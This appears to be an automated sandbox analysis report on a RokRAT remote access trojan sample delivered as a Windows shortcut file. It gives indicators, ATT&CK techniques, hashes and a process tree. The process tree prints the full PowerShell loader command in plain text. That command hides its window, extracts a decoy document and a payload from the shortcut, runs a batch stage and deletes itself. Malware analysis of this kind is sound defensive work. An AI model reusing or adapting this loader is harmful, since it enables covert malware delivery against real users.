rokrat | 53ea99f463412c04f4e1f8116c6b7b76132f44600511e36b702855c1dfefcb98

Analysis

max time kernel
147s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
28-02-2024 16:08

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

mal.lnk
Size

221.4MB
MD5

5f6682ad9da4590cba106e2f1a8cbe26
SHA1

7043c7c101532df47c832ce5270745dd3d1e8c08
SHA256

dbd5d662cc53d4b91cf7da9979cdffd1b4f702323bb9ec4114371bc6f4f0d4a6
SHA512

e744d1b0cf232c4cf224cd1413b13e41889692e2d1f29e948fe8d4a5cb1304bca9a7b5de9c34db98c8eb7440761d5233bc5ac6a4fe75de2d4009a06f318c1d35
SSDEEP

24576:P0sde6UvoEkUnigRXTTYdy830QtO0oIJjW7sFAc1Mh5l2yf:Mz6UvRXigjbaJa7f2yf

Score

10^/10

rokrat rat

Malware Config

Signatures

Detect Rokrat payload 2 IoCs

Processes:

resource	yara_rule
behavioral2/memory/1564-134-0x0000000032390000-0x0000000032473000-memory.dmp	family_rokrat
behavioral2/memory/1564-135-0x0000000032390000-0x0000000032473000-memory.dmp	family_rokrat

Rokrat
Rokrat is a remote access trojan written in c++.
rat rokrat
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

51 1564 powershell.exe
80 1564 powershell.exe
Checks BIOS information in registry 2 TTPs 1 IoCs
BIOS information is often read in order to detect sandboxing environments.

Query Registry
T1012

System Information Discovery
T1082

Processes:

powershell.exe

description ioc process

Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

cmd.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\Control Panel\International\Geo\Nation cmd.exe
Deletes itself 1 IoCs

Processes:

powershell.exe

pid process

116 powershell.exe
Drops file in Windows directory 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Windows\21286.dat powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	pid	process
51	1564	powershell.exe
80	1564	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\Control Panel\International\Geo\Nation	cmd.exe

description	ioc	process
File created	C:\Windows\21286.dat	powershell.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

AcroRd32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AcroRd32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	AcroRd32.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

Processes:

AcroRd32.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	AcroRd32.exe

Modifies registry class 2 IoCs

Processes:

powershell.exeOpenWith.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000_Classes\Local Settings	OpenWith.exe

Suspicious behavior: EnumeratesProcesses 26 IoCs

Processes:

powershell.exepowershell.exeAcroRd32.exe

pid	process
116	powershell.exe
116	powershell.exe
1564	powershell.exe
1564	powershell.exe
1564	powershell.exe
1564	powershell.exe
4016	AcroRd32.exe
4016	AcroRd32.exe
4016	AcroRd32.exe
4016	AcroRd32.exe
4016	AcroRd32.exe
4016	AcroRd32.exe
4016	AcroRd32.exe
4016	AcroRd32.exe
4016	AcroRd32.exe
4016	AcroRd32.exe
4016	AcroRd32.exe
4016	AcroRd32.exe
4016	AcroRd32.exe
4016	AcroRd32.exe
4016	AcroRd32.exe
4016	AcroRd32.exe
4016	AcroRd32.exe
4016	AcroRd32.exe
4016	AcroRd32.exe
4016	AcroRd32.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

OpenWith.exe

pid process

2724 OpenWith.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 116 powershell.exe
Token: SeDebugPrivilege 1564 powershell.exe

description	pid	process
Token: SeDebugPrivilege	116	powershell.exe
Token: SeDebugPrivilege	1564	powershell.exe

Suspicious use of SetWindowsHookEx 26 IoCs

Processes:

OpenWith.exeAcroRd32.exe

pid	process
2724	OpenWith.exe
2724	OpenWith.exe
2724	OpenWith.exe
2724	OpenWith.exe
2724	OpenWith.exe
2724	OpenWith.exe
2724	OpenWith.exe
2724	OpenWith.exe
2724	OpenWith.exe
2724	OpenWith.exe
2724	OpenWith.exe
2724	OpenWith.exe
2724	OpenWith.exe
2724	OpenWith.exe
2724	OpenWith.exe
2724	OpenWith.exe
2724	OpenWith.exe
2724	OpenWith.exe
2724	OpenWith.exe
2724	OpenWith.exe
2724	OpenWith.exe
4016	AcroRd32.exe
4016	AcroRd32.exe
4016	AcroRd32.exe
4016	AcroRd32.exe
4016	AcroRd32.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.execmd.exepowershell.execsc.execmd.exeOpenWith.exepowershell.execsc.execsc.execsc.execsc.exeAcroRd32.exeRdrCEF.exe

description	pid	process	target process
PID 4892 wrote to memory of 5096	4892	cmd.exe	cmd.exe
PID 4892 wrote to memory of 5096	4892	cmd.exe	cmd.exe
PID 4892 wrote to memory of 5096	4892	cmd.exe	cmd.exe
PID 5096 wrote to memory of 3568	5096	cmd.exe	cmd.exe
PID 5096 wrote to memory of 3568	5096	cmd.exe	cmd.exe
PID 5096 wrote to memory of 3568	5096	cmd.exe	cmd.exe
PID 5096 wrote to memory of 116	5096	cmd.exe	powershell.exe
PID 5096 wrote to memory of 116	5096	cmd.exe	powershell.exe
PID 5096 wrote to memory of 116	5096	cmd.exe	powershell.exe
PID 116 wrote to memory of 1972	116	powershell.exe	csc.exe
PID 116 wrote to memory of 1972	116	powershell.exe	csc.exe
PID 116 wrote to memory of 1972	116	powershell.exe	csc.exe
PID 1972 wrote to memory of 2292	1972	csc.exe	cvtres.exe
PID 1972 wrote to memory of 2292	1972	csc.exe	cvtres.exe
PID 1972 wrote to memory of 2292	1972	csc.exe	cvtres.exe
PID 116 wrote to memory of 228	116	powershell.exe	cmd.exe
PID 116 wrote to memory of 228	116	powershell.exe	cmd.exe
PID 116 wrote to memory of 228	116	powershell.exe	cmd.exe
PID 228 wrote to memory of 1564	228	cmd.exe	powershell.exe
PID 228 wrote to memory of 1564	228	cmd.exe	powershell.exe
PID 228 wrote to memory of 1564	228	cmd.exe	powershell.exe
PID 2724 wrote to memory of 4016	2724	OpenWith.exe	AcroRd32.exe
PID 2724 wrote to memory of 4016	2724	OpenWith.exe	AcroRd32.exe
PID 2724 wrote to memory of 4016	2724	OpenWith.exe	AcroRd32.exe
PID 1564 wrote to memory of 2212	1564	powershell.exe	csc.exe
PID 1564 wrote to memory of 2212	1564	powershell.exe	csc.exe
PID 1564 wrote to memory of 2212	1564	powershell.exe	csc.exe
PID 2212 wrote to memory of 3184	2212	csc.exe	cvtres.exe
PID 2212 wrote to memory of 3184	2212	csc.exe	cvtres.exe
PID 2212 wrote to memory of 3184	2212	csc.exe	cvtres.exe
PID 1564 wrote to memory of 3224	1564	powershell.exe	csc.exe
PID 1564 wrote to memory of 3224	1564	powershell.exe	csc.exe
PID 1564 wrote to memory of 3224	1564	powershell.exe	csc.exe
PID 3224 wrote to memory of 1996	3224	csc.exe	cvtres.exe
PID 3224 wrote to memory of 1996	3224	csc.exe	cvtres.exe
PID 3224 wrote to memory of 1996	3224	csc.exe	cvtres.exe
PID 1564 wrote to memory of 2412	1564	powershell.exe	csc.exe
PID 1564 wrote to memory of 2412	1564	powershell.exe	csc.exe
PID 1564 wrote to memory of 2412	1564	powershell.exe	csc.exe
PID 2412 wrote to memory of 1196	2412	csc.exe	cvtres.exe
PID 2412 wrote to memory of 1196	2412	csc.exe	cvtres.exe
PID 2412 wrote to memory of 1196	2412	csc.exe	cvtres.exe
PID 1564 wrote to memory of 4668	1564	powershell.exe	csc.exe
PID 1564 wrote to memory of 4668	1564	powershell.exe	csc.exe
PID 1564 wrote to memory of 4668	1564	powershell.exe	csc.exe
PID 4668 wrote to memory of 2220	4668	csc.exe	cvtres.exe
PID 4668 wrote to memory of 2220	4668	csc.exe	cvtres.exe
PID 4668 wrote to memory of 2220	4668	csc.exe	cvtres.exe
PID 4016 wrote to memory of 4788	4016	AcroRd32.exe	RdrCEF.exe
PID 4016 wrote to memory of 4788	4016	AcroRd32.exe	RdrCEF.exe
PID 4016 wrote to memory of 4788	4016	AcroRd32.exe	RdrCEF.exe
PID 4788 wrote to memory of 3596	4788	RdrCEF.exe	RdrCEF.exe
PID 4788 wrote to memory of 3596	4788	RdrCEF.exe	RdrCEF.exe
PID 4788 wrote to memory of 3596	4788	RdrCEF.exe	RdrCEF.exe
PID 4788 wrote to memory of 3596	4788	RdrCEF.exe	RdrCEF.exe
PID 4788 wrote to memory of 3596	4788	RdrCEF.exe	RdrCEF.exe
PID 4788 wrote to memory of 3596	4788	RdrCEF.exe	RdrCEF.exe
PID 4788 wrote to memory of 3596	4788	RdrCEF.exe	RdrCEF.exe
PID 4788 wrote to memory of 3596	4788	RdrCEF.exe	RdrCEF.exe
PID 4788 wrote to memory of 3596	4788	RdrCEF.exe	RdrCEF.exe
PID 4788 wrote to memory of 3596	4788	RdrCEF.exe	RdrCEF.exe
PID 4788 wrote to memory of 3596	4788	RdrCEF.exe	RdrCEF.exe
PID 4788 wrote to memory of 3596	4788	RdrCEF.exe	RdrCEF.exe
PID 4788 wrote to memory of 3596	4788	RdrCEF.exe	RdrCEF.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\mal.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4892

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\SysWOW64\cmd.exe" /k for /f "tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od') do call %a "$t1 = 'user32.dll';$t = 'using System; using System.Runtime.InteropServices; public class User32 {[DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + $t1 + [System.Text.Encoding]::UTF8.GetString(34) + ', SetLastError = true)]public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);[DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + $t1 + [System.Text.Encoding]::UTF8.GetString(34) + ')] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); }'; Add-Type -TypeDefinition $t;$proName = 'powershell.exe'; $cmdMainWindowHandle = [User32]::FindWindow([NullString]::Value, $proName);[User32]::ShowWindow($cmdMainWindowHandle, 0);$dirPath = Get-Location; if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') {$dirPath = 'C:\Users\Admin\AppData\Local\Temp'}; $lnkPath = Get-ChildItem -Path $dirPath -Recurse *.lnk | where-object {$_.length -eq 0x0DD6DA21} | Select-Object -ExpandProperty FullName;$lnkFile=New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);$lnkFile.Seek(0x0000162E, [System.IO.SeekOrigin]::Begin);$pdfFile=New-Object byte[] 0x00042C00;$lnkFile.Read($pdfFile, 0, 0x00042C00);$pdfPath = $lnkPath.replace('.lnk','.hwp');sc $pdfPath $pdfFile -Encoding Byte;& $pdfPath;$lnkFile.Seek(0x0004422E,[System.IO.SeekOrigin]::Begin);$exeFile=New-Object byte[] 0x000D9402;$lnkFile.Read($exeFile, 0, 0x000D9402);$exePath=$env:public+'\'+'public.dat';sc $exePath $exeFile -Encoding Byte;$lnkFile.Seek(0x0011D630,[System.IO.SeekOrigin]::Begin);$stringByte = New-Object byte[] 0x000005AA;$lnkFile.Read($stringByte, 0, 0x000005AA);$batStrPath = $env:temp+'\'+'temp.dat';$string = [System.Text.Encoding]::UTF8.GetString($stringByte);$string | Out-File -FilePath $batStrPath -Encoding ascii;$lnkFile.Seek(0x0011DBDA,[System.IO.SeekOrigin]::Begin);$batByte = New-Object byte[] 0x00000135;$lnkFile.Read($batByte, 0, 0x00000135);$executePath = $env:temp+'\'+'working.bat';Write-Host $executePath;Write-Host $batStrPath;$bastString = [System.Text.Encoding]::UTF8.GetString($batByte);$bastString | Out-File -FilePath $executePath -Encoding ascii;& $executePath;$lnkFile.Close();remove-item -path $lnkPath -force;"&& exit
2⤵
- Suspicious use of WriteProcessMemory
PID:5096

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od
3⤵
PID:3568

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe "$t1 = 'user32.dll';$t = 'using System; using System.Runtime.InteropServices; public class User32 {[DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + $t1 + [System.Text.Encoding]::UTF8.GetString(34) + ', SetLastError = true)]public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);[DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + $t1 + [System.Text.Encoding]::UTF8.GetString(34) + ')] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); }'; Add-Type -TypeDefinition $t;$proName = 'powershell.exe'; $cmdMainWindowHandle = [User32]::FindWindow([NullString]::Value, $proName);[User32]::ShowWindow($cmdMainWindowHandle, 0);$dirPath = Get-Location; if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') {$dirPath = 'C:\Users\Admin\AppData\Local\Temp'}; $lnkPath = Get-ChildItem -Path $dirPath -Recurse *.lnk | where-object {$_.length -eq 0x0DD6DA21} | Select-Object -ExpandProperty FullName;$lnkFile=New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);$lnkFile.Seek(0x0000162E, [System.IO.SeekOrigin]::Begin);$pdfFile=New-Object byte[] 0x00042C00;$lnkFile.Read($pdfFile, 0, 0x00042C00);$pdfPath = $lnkPath.replace('.lnk','.hwp');sc $pdfPath $pdfFile -Encoding Byte;& $pdfPath;$lnkFile.Seek(0x0004422E,[System.IO.SeekOrigin]::Begin);$exeFile=New-Object byte[] 0x000D9402;$lnkFile.Read($exeFile, 0, 0x000D9402);$exePath=$env:public+'\'+'public.dat';sc $exePath $exeFile -Encoding Byte;$lnkFile.Seek(0x0011D630,[System.IO.SeekOrigin]::Begin);$stringByte = New-Object byte[] 0x000005AA;$lnkFile.Read($stringByte, 0, 0x000005AA);$batStrPath = $env:temp+'\'+'temp.dat';$string = [System.Text.Encoding]::UTF8.GetString($stringByte);$string | Out-File -FilePath $batStrPath -Encoding ascii;$lnkFile.Seek(0x0011DBDA,[System.IO.SeekOrigin]::Begin);$batByte = New-Object byte[] 0x00000135;$lnkFile.Read($batByte, 0, 0x00000135);$executePath = $env:temp+'\'+'working.bat';Write-Host $executePath;Write-Host $batStrPath;$bastString = [System.Text.Encoding]::UTF8.GetString($batByte);$bastString | Out-File -FilePath $executePath -Encoding ascii;& $executePath;$lnkFile.Close();remove-item -path $lnkPath -force;"
3⤵
- Deletes itself
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:116

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ch0d5bjh\ch0d5bjh.cmdline"
4⤵
- Suspicious use of WriteProcessMemory
PID:1972

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES90A7.tmp" "c:\Users\Admin\AppData\Local\Temp\ch0d5bjh\CSCDCD8F17AF6E64963A4B85F9C8C71577.TMP"
5⤵
PID:2292

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\working.bat""
4⤵
- Suspicious use of WriteProcessMemory
PID:228

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden "$stringPath=$env:temp+'\'+'temp.dat';$stringByte = Get-Content -path $stringPath -encoding byte;$string = [System.Text.Encoding]::UTF8.GetString($stringByte);$scriptBlock = [scriptblock]::Create($string);&$scriptBlock;"
5⤵
- Blocklisted process makes network request
- Checks BIOS information in registry
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1564

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yu5p4lem\yu5p4lem.cmdline"
6⤵
- Suspicious use of WriteProcessMemory
PID:2212

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFBC5.tmp" "c:\Users\Admin\AppData\Local\Temp\yu5p4lem\CSC1B986AE855484A35ADC89165BCBF9226.TMP"
7⤵
PID:3184

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0zes3ihu\0zes3ihu.cmdline"
6⤵
- Suspicious use of WriteProcessMemory
PID:3224

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFC80.tmp" "c:\Users\Admin\AppData\Local\Temp\0zes3ihu\CSCC2B1076DAA63423EB8B76D956B43BCB.TMP"
7⤵
PID:1996

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\013qnrjy\013qnrjy.cmdline"
6⤵
- Suspicious use of WriteProcessMemory
PID:2412

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFF5F.tmp" "c:\Users\Admin\AppData\Local\Temp\013qnrjy\CSC97635E7E56194A8D813CFE7C71CA9BB6.TMP"
7⤵
PID:1196

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hlgsljtw\hlgsljtw.cmdline"
6⤵
- Suspicious use of WriteProcessMemory
PID:4668

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3A.tmp" "c:\Users\Admin\AppData\Local\Temp\hlgsljtw\CSC990BC8A529AE4F768878ECA964602F5.TMP"
7⤵
PID:2220

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2724

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\mal.hwp"
2⤵
- Checks processor information in registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4016

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
3⤵
- Suspicious use of WriteProcessMemory
PID:4788

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=4D98210244213F4FFE00D38C3CDFD729 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=4D98210244213F4FFE00D38C3CDFD729 --renderer-client-id=2 --mojo-platform-channel-handle=1708 --allow-no-sandbox-job /prefetch:1
4⤵
PID:3596

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=CC825A4F8DD3C08B93175C58F05F3E6B --mojo-platform-channel-handle=2072 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
4⤵
PID:3532

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=1C051A67B9FE519490D187CE8F669AA4 --mojo-platform-channel-handle=2356 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
4⤵
PID:2120

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=7CCC9E0D73A4CD45D21770B39DDF80F7 --mojo-platform-channel-handle=2372 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
4⤵
PID:1804

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=6567210F9BBC030EB209CA11C9198EFD --mojo-platform-channel-handle=2348 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
4⤵
PID:2528

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
3⤵
PID:3480

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3468

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
36KB

MD5
b30d3becc8731792523d599d949e63f5

SHA1
19350257e42d7aee17fb3bf139a9d3adb330fad4

SHA256
b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3

SHA512
523f54895fb07f62b9a5f72c8b62e83d4d9506bda57b183818615f6eb7286e3b9c5a50409bc5c5164867c3ccdeae88aa395ecca6bc7e36d991552f857510792e

Download Submit
